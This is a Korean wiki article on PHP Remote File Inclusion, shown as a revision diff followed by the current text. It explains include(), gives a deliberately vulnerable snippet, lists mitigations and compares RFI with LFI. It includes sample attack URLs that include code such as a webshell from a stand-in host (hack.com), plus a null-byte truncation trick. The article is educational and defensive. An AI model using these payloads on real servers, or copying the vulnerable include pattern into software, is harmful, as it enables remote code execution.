"원격파일삽입"의 두 판 사이의 차이
잔글 (→같이보기) |
|||
(다른 사용자 한 명의 중간 판 2개는 보이지 않습니다) | |||
1번째 줄: | 1번째 줄: | ||
− | '''원격파일삽입'''(Remote file inclusion | + | '''원격파일삽입'''(Remote file inclusion, RFI)는 취약점을 이용한 공격은 공격자가 악성 스크립트를 서비스 서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것이다. 쉽게 말해서 웹 애플리케이션에 공격자가 자신의 코드를 원격으로 삽입 가능하다는 것이다. |
== 개요 == | == 개요 == | ||
5번째 줄: | 5번째 줄: | ||
== 특징 == | == 특징 == | ||
− | + | 아큐네틱스(Acunetix) 취약성 스캐너를 사용하여 자동화된 웹 스캔을 실행하면 웹 사이트 또는 웹 애플리케이션이 원격파일삽입 및 [[에스큐엘 인젝션]](SQL Injection), 디렉터리 탐색 등과 같은 기타 취약성에 취약한지 쉽게 테스트 할 수 있다. 데모를 통해 사이버 보안을 유지하기 위해 웹 사이트 또는 웹 애플리케이션에 대해 스캔을 실행하는 방법에 대해 자세히 알아볼 수 있다. 원격파일삽입 취약성을 발견한 경우 이를 제거하는 가장 좋은 방법은 사용자 입력을 기반으로 파일을 포함하지 않는 것이다. 이것이 가능하지 않은 경우 애플리케이션은 포함될 수 있는 파일의 화이트리스트를 유지해야 한다. 이 경우 입력 유효성 검사는 공격자가 영리한 트릭을 사용하여 주변을 이동할 수 있기 때문에 훨씬 덜 효과적인 방법이다. 또한 PHP 응용 프로그램의 경우 대부분의 최신 설치는 php. ini에서 allow_url_include가 off로 설정되어 구성된다. 이로 인해 악의적인 사용자가 원격 파일을 포함할 수 없다. 그러나 이러한 경우에도 로컬파일삽입(LFI)이 여전히 가능하다.<ref>이안 무스카트, 〈[https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/ RFI (원격 파일 포함) 란 무엇입니까?]〉, 《아큐네틱스》, 2020-04-02</ref> | |
− | |||
− | ; | + | ;악성 파일 실행 |
− | + | 원격파일삽입에 취약한 코드는 공격자가 악의적인 코드와 데이터의 삽입을 허용함으로써 전체 서버 훼손과 같은 파괴적인 공격을 가할 수 있다. 악성 파일 실행 공격은 PHP, XML, 사용자로부터 파일명이나 파일을 받아들이는 프레임워크에 영향을 준다. URL과 파일시스템 참조 등 외부객체 참조를 사용하는 애플리케이션에서 입력파일 및 입력 외부객체를 검증하지 않을 경우에 발생하며, 공격자는 원격코드 실행과 원격 루트킷 설치 및 시스템 손상을 야기한다. 이를 위해서 사용자로부터 입력 받는 모든 값을 서버에서 검증후에 사용해야 하며, 입력되는 특수 문자는 [[엔티티]](entity) 형태로 변경하여 저장해야 한다. | |
== 공격 방법 == | == 공격 방법 == | ||
− | 원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 [[취약점]]을 이해하기 위해서는 먼저 [[PHP]]의 include 함수에 대해 알고 있어야 한다. Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다. include 함수의 사용법은 총 3가지로 사용될 수 있다. 첫 번째는 Include(‘URL’)이다. 이 방법은 URL을 현재 페이지에서 호출하는 것이다. 두번째는 Include($dir)이다. $dir변수의 값을 현재 페이지에서 호출하는 방법이다. 마지막으로 세 번째로는 Include($dir.’.PHP’)이다. 변수를 호출할 때 변수뒤에. php를 붙인 상태로 호출하는 방법이다. | + | 원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 [[취약점]]을 이해하기 위해서는 먼저 [[PHP]]의 include 함수에 대해 알고 있어야 한다. Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다. include 함수의 사용법은 총 3가지로 사용될 수 있다. 첫 번째는 Include(‘URL’)이다. 이 방법은 URL을 현재 페이지에서 호출하는 것이다. 두번째는 Include($dir)이다. $dir변수의 값을 현재 페이지에서 호출하는 방법이다. 마지막으로 세 번째로는 Include($dir.’.PHP’)이다. 변수를 호출할 때 변수뒤에. php를 붙인 상태로 호출하는 방법이다. 원격파일삽입 취약점이 존재하는 코드는 다음과 같다. 아래의 코드의 경우 최종적으로 <nowiki>[http://hack.com/bad.php?.php]</nowiki> 가 되고 이 값에서. php는 변수가 사용하지 않는 변수이기 때문에 무시되고 완전한 형태의 <nowiki>[http://hack.com/bad.php]</nowiki>가 삽입되는 것이다.<ref>PLURA, 〈[http://blog.plura.io/?p=7604 RFI 대응방안]〉, 《프루라 공식 블로그》, 2017-10-24</ref> |
− | <?php <br>$color=’blue’; <br>if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php? <br>$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정 <br>include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’); <br>?> | + | |
+ | <?php <br>$color=’blue’; <br>if(isset($_GET[‘COLOR’])) //COLOR=<nowiki>http://hack.com/bad.php?</nowiki> <br>$color=$_GET[‘COLOR’]; //$color=http:<nowiki>//hack.com/bad.php?</nowiki> 로 변수가 설정 <br>include($color.’.php’); //include(<nowiki>“http://hack.com/bad.php?”.’.php’</nowiki>); <br>?> | ||
;취약점 공격 | ;취약점 공격 | ||
− | + | {{테두리| | |
+ | * '''CASE1'''(<nowiki>http://www.plura.io/color.php?COLOR=http://hack.com/hack.php</nowiki>) | ||
+ | : $color 변수에 URL 삽입을 시도하지만, 실패로 나타난다. 이때 오류 구문을 보면 hack. php. php 의 형태로 변하게 된다. | ||
+ | * '''CASE2'''(<nowiki>http://www.plura.io/color.php?COLOR=http://hack.com/webshell.txt?</nowiki>) | ||
+ | : 종단 문자를 사용하여 원격지의 파일을 포함 시킨다. | ||
+ | * '''CASE3'''(<nowiki>http://www.plura.io/color.php?COLOR=C:\ftp\upload\exploit</nowiki>) | ||
+ | : 공격전에 미리 업로드한 파일을 호출하여 exploit. php파일로 만들어 RFI 공격을 실행할 수 있다. | ||
+ | * '''CASE4'''(<nowiki>http://www.plura.io/color.php?COLOR=C:\notes.txt%00</nowiki>) | ||
+ | : NULL Meta 문자(% 00)를 삽입하여. php 확장자를 제거하고 다른 파일로 접근이 가능하게 만든다. | ||
+ | }} | ||
== 대응방안 == | == 대응방안 == | ||
관리자는 소스 코드에 include, require 등의 구문/함수가 존재하는지 검증하고, 만약 사용자의 입력값을 통해 파일명이 결정된다면 외부의 악의적인 파일이 포함되어 실행되지 않도록 PHP 설정 파일인 php. ini 파일에서 allow_URL_open을 off 설정하여준다.<ref>Motie_FireWall, 〈[https://motie.tistory.com/21 파일 삽입 (File Inclusion) 취약점]〉, 《티스토리》, 2020-04-23</ref> | 관리자는 소스 코드에 include, require 등의 구문/함수가 존재하는지 검증하고, 만약 사용자의 입력값을 통해 파일명이 결정된다면 외부의 악의적인 파일이 포함되어 실행되지 않도록 PHP 설정 파일인 php. ini 파일에서 allow_URL_open을 off 설정하여준다.<ref>Motie_FireWall, 〈[https://motie.tistory.com/21 파일 삽입 (File Inclusion) 취약점]〉, 《티스토리》, 2020-04-23</ref> | ||
+ | |||
+ | == 비교 == | ||
+ | ;로컬파일삽입 | ||
+ | 원격파일삽입은 공격자의 PC에서 유래하는 것이고, 로컬파일삽입(LFI)은 피해자의 PC에서 유래하는 것이다. 원격파일삽입은 공격자의 PC에 존재하는 파일을 열어보거나 혹은 공격자가 만들어놓은 사이트에 접속해서 희생자의 PC에 오는 것이고, 로컬파일삽입은 희생자의 컴퓨터 내에 존재하고 있는 것을 대상으로 하는 것이다.<ref>dongil7754, 〈[https://m.blog.naver.com/PostView.nhn?blogId=dongil7754&logNo=220764875582&proxyReferer=https:%2F%2Fwww.google.com%2F RFI와 LFI !]〉, 《네이버 블로그》, 2016-07-18</ref> 원격파일삽입과 마찬가지로 로컬파일삽입은 웹 브라우저를 통해 서버에 악성 파일을 업로드하는 벡터이다. 두 벡터는 종종 파일 포함 공격의 맥락에서 함께 참조된다. 두 경우 모두 공격이 성공하면 악성 코드가 대상 서버에 업로드된다. 그러나, 원격파일삽입과 달리 로컬파일삽입 공격은 사용자가 제공/제어된 입력을 검증하지 못하는 안전하지 않은 로컬 파일 업로드 기능을 악용하는 것을 목표로 한다. 그 결과 악의적인 캐릭터 업로드와 디렉터리/경로 통과 공격이 허용된다. 그런 다음 가해자는 원격 위치에서 강화된 외부 참조 기능을 사용하여 검색하는 것과 달리 악성 코드를 손상된 시스템에 직접 업로드 할 수 있다.<ref>〈[https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/ 원격 파일 포함 (RFI)]〉, 《임프리바》</ref> | ||
{{각주}} | {{각주}} | ||
== 참고 자료 == | == 참고 자료 == | ||
− | *dongil7754, 〈[https://m.blog.naver.com/PostView.nhn?blogId=dongil7754&logNo=220764875582&proxyReferer=https:%2F%2Fwww.google.com%2F RFI와 LFI !]〉, 《네이버 블로그》, 2016-07-18 | + | * dongil7754, 〈[https://m.blog.naver.com/PostView.nhn?blogId=dongil7754&logNo=220764875582&proxyReferer=https:%2F%2Fwww.google.com%2F RFI와 LFI !]〉, 《네이버 블로그》, 2016-07-18 |
− | *〈[https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/ 원격 파일 포함 (RFI)]〉, 《임프리바》 | + | * 〈[https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/ 원격 파일 포함 (RFI)]〉, 《임프리바》 |
− | *이안 무스카트, 〈[https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/ RFI (원격 파일 포함) 란 무엇입니까?]〉, | + | * 이안 무스카트, 〈[https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/ RFI (원격 파일 포함) 란 무엇입니까?]〉, 《아큐네틱스》, 2020-04-02 |
− | *〈[http://blog.plura.io/?p=7604 RFI 대응방안]〉, | + | * PLURA, 〈[http://blog.plura.io/?p=7604 RFI 대응방안]〉, 《프루라 공식 블로그》, 2017-10-24 |
− | *Motie_FireWall, 〈[https://motie.tistory.com/21 파일 삽입 (File Inclusion) 취약점]〉, 《티스토리》, 2020-04-23 | + | * Motie_FireWall, 〈[https://motie.tistory.com/21 파일 삽입 (File Inclusion) 취약점]〉, 《티스토리》, 2020-04-23 |
== 같이보기 == | == 같이보기 == | ||
− | *[[해킹]] | + | * [[해킹]] |
+ | * [[RFI]] | ||
{{보안|검토 필요}} | {{보안|검토 필요}} |
2021년 2월 10일 (수) 01:52 기준 최신판
원격파일삽입(Remote file inclusion, RFI)는 취약점을 이용한 공격은 공격자가 악성 스크립트를 서비스 서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것이다. 쉽게 말해서 웹 애플리케이션에 공격자가 자신의 코드를 원격으로 삽입 가능하다는 것이다.
개요[편집]
원격파일삽입은 취약점을 이용한 공격은 공격자가 악성 스크립트를 웹서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것이다. 쉽게 말해서 웹 애플리케이션에 공격자 자신의 코드를 원격으로 삽입 가능하다는 것이다.
특징[편집]
아큐네틱스(Acunetix) 취약성 스캐너를 사용하여 자동화된 웹 스캔을 실행하면 웹 사이트 또는 웹 애플리케이션이 원격파일삽입 및 에스큐엘 인젝션(SQL Injection), 디렉터리 탐색 등과 같은 기타 취약성에 취약한지 쉽게 테스트 할 수 있다. 데모를 통해 사이버 보안을 유지하기 위해 웹 사이트 또는 웹 애플리케이션에 대해 스캔을 실행하는 방법에 대해 자세히 알아볼 수 있다. 원격파일삽입 취약성을 발견한 경우 이를 제거하는 가장 좋은 방법은 사용자 입력을 기반으로 파일을 포함하지 않는 것이다. 이것이 가능하지 않은 경우 애플리케이션은 포함될 수 있는 파일의 화이트리스트를 유지해야 한다. 이 경우 입력 유효성 검사는 공격자가 영리한 트릭을 사용하여 주변을 이동할 수 있기 때문에 훨씬 덜 효과적인 방법이다. 또한 PHP 응용 프로그램의 경우 대부분의 최신 설치는 php. ini에서 allow_url_include가 off로 설정되어 구성된다. 이로 인해 악의적인 사용자가 원격 파일을 포함할 수 없다. 그러나 이러한 경우에도 로컬파일삽입(LFI)이 여전히 가능하다.[1]
- 악성 파일 실행
원격파일삽입에 취약한 코드는 공격자가 악의적인 코드와 데이터의 삽입을 허용함으로써 전체 서버 훼손과 같은 파괴적인 공격을 가할 수 있다. 악성 파일 실행 공격은 PHP, XML, 사용자로부터 파일명이나 파일을 받아들이는 프레임워크에 영향을 준다. URL과 파일시스템 참조 등 외부객체 참조를 사용하는 애플리케이션에서 입력파일 및 입력 외부객체를 검증하지 않을 경우에 발생하며, 공격자는 원격코드 실행과 원격 루트킷 설치 및 시스템 손상을 야기한다. 이를 위해서 사용자로부터 입력 받는 모든 값을 서버에서 검증후에 사용해야 하며, 입력되는 특수 문자는 엔티티(entity) 형태로 변경하여 저장해야 한다.
공격 방법[편집]
원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 취약점을 이해하기 위해서는 먼저 PHP의 include 함수에 대해 알고 있어야 한다. Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다. include 함수의 사용법은 총 3가지로 사용될 수 있다. 첫 번째는 Include(‘URL’)이다. 이 방법은 URL을 현재 페이지에서 호출하는 것이다. 두번째는 Include($dir)이다. $dir변수의 값을 현재 페이지에서 호출하는 방법이다. 마지막으로 세 번째로는 Include($dir.’.PHP’)이다. 변수를 호출할 때 변수뒤에. php를 붙인 상태로 호출하는 방법이다. 원격파일삽입 취약점이 존재하는 코드는 다음과 같다. 아래의 코드의 경우 최종적으로 [http://hack.com/bad.php?.php] 가 되고 이 값에서. php는 변수가 사용하지 않는 변수이기 때문에 무시되고 완전한 형태의 [http://hack.com/bad.php]가 삽입되는 것이다.[2]
<?php
$color=’blue’;
if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php?
$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정
include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’);
?>
- 취약점 공격
- CASE1(http://www.plura.io/color.php?COLOR=http://hack.com/hack.php)
- $color 변수에 URL 삽입을 시도하지만, 실패로 나타난다. 이때 오류 구문을 보면 hack. php. php 의 형태로 변하게 된다.
- CASE2(http://www.plura.io/color.php?COLOR=http://hack.com/webshell.txt?)
- 종단 문자를 사용하여 원격지의 파일을 포함 시킨다.
- CASE3(http://www.plura.io/color.php?COLOR=C:\ftp\upload\exploit)
- 공격전에 미리 업로드한 파일을 호출하여 exploit. php파일로 만들어 RFI 공격을 실행할 수 있다.
- CASE4(http://www.plura.io/color.php?COLOR=C:\notes.txt%00)
- NULL Meta 문자(% 00)를 삽입하여. php 확장자를 제거하고 다른 파일로 접근이 가능하게 만든다.
대응방안[편집]
관리자는 소스 코드에 include, require 등의 구문/함수가 존재하는지 검증하고, 만약 사용자의 입력값을 통해 파일명이 결정된다면 외부의 악의적인 파일이 포함되어 실행되지 않도록 PHP 설정 파일인 php. ini 파일에서 allow_URL_open을 off 설정하여준다.[3]
비교[편집]
- 로컬파일삽입
원격파일삽입은 공격자의 PC에서 유래하는 것이고, 로컬파일삽입(LFI)은 피해자의 PC에서 유래하는 것이다. 원격파일삽입은 공격자의 PC에 존재하는 파일을 열어보거나 혹은 공격자가 만들어놓은 사이트에 접속해서 희생자의 PC에 오는 것이고, 로컬파일삽입은 희생자의 컴퓨터 내에 존재하고 있는 것을 대상으로 하는 것이다.[4] 원격파일삽입과 마찬가지로 로컬파일삽입은 웹 브라우저를 통해 서버에 악성 파일을 업로드하는 벡터이다. 두 벡터는 종종 파일 포함 공격의 맥락에서 함께 참조된다. 두 경우 모두 공격이 성공하면 악성 코드가 대상 서버에 업로드된다. 그러나, 원격파일삽입과 달리 로컬파일삽입 공격은 사용자가 제공/제어된 입력을 검증하지 못하는 안전하지 않은 로컬 파일 업로드 기능을 악용하는 것을 목표로 한다. 그 결과 악의적인 캐릭터 업로드와 디렉터리/경로 통과 공격이 허용된다. 그런 다음 가해자는 원격 위치에서 강화된 외부 참조 기능을 사용하여 검색하는 것과 달리 악성 코드를 손상된 시스템에 직접 업로드 할 수 있다.[5]
각주[편집]
- ↑ 이안 무스카트, 〈RFI (원격 파일 포함) 란 무엇입니까?〉, 《아큐네틱스》, 2020-04-02
- ↑ PLURA, 〈RFI 대응방안〉, 《프루라 공식 블로그》, 2017-10-24
- ↑ Motie_FireWall, 〈파일 삽입 (File Inclusion) 취약점〉, 《티스토리》, 2020-04-23
- ↑ dongil7754, 〈RFI와 LFI !〉, 《네이버 블로그》, 2016-07-18
- ↑ 〈원격 파일 포함 (RFI)〉, 《임프리바》
참고 자료[편집]
- dongil7754, 〈RFI와 LFI !〉, 《네이버 블로그》, 2016-07-18
- 〈원격 파일 포함 (RFI)〉, 《임프리바》
- 이안 무스카트, 〈RFI (원격 파일 포함) 란 무엇입니까?〉, 《아큐네틱스》, 2020-04-02
- PLURA, 〈RFI 대응방안〉, 《프루라 공식 블로그》, 2017-10-24
- Motie_FireWall, 〈파일 삽입 (File Inclusion) 취약점〉, 《티스토리》, 2020-04-23
같이보기[편집]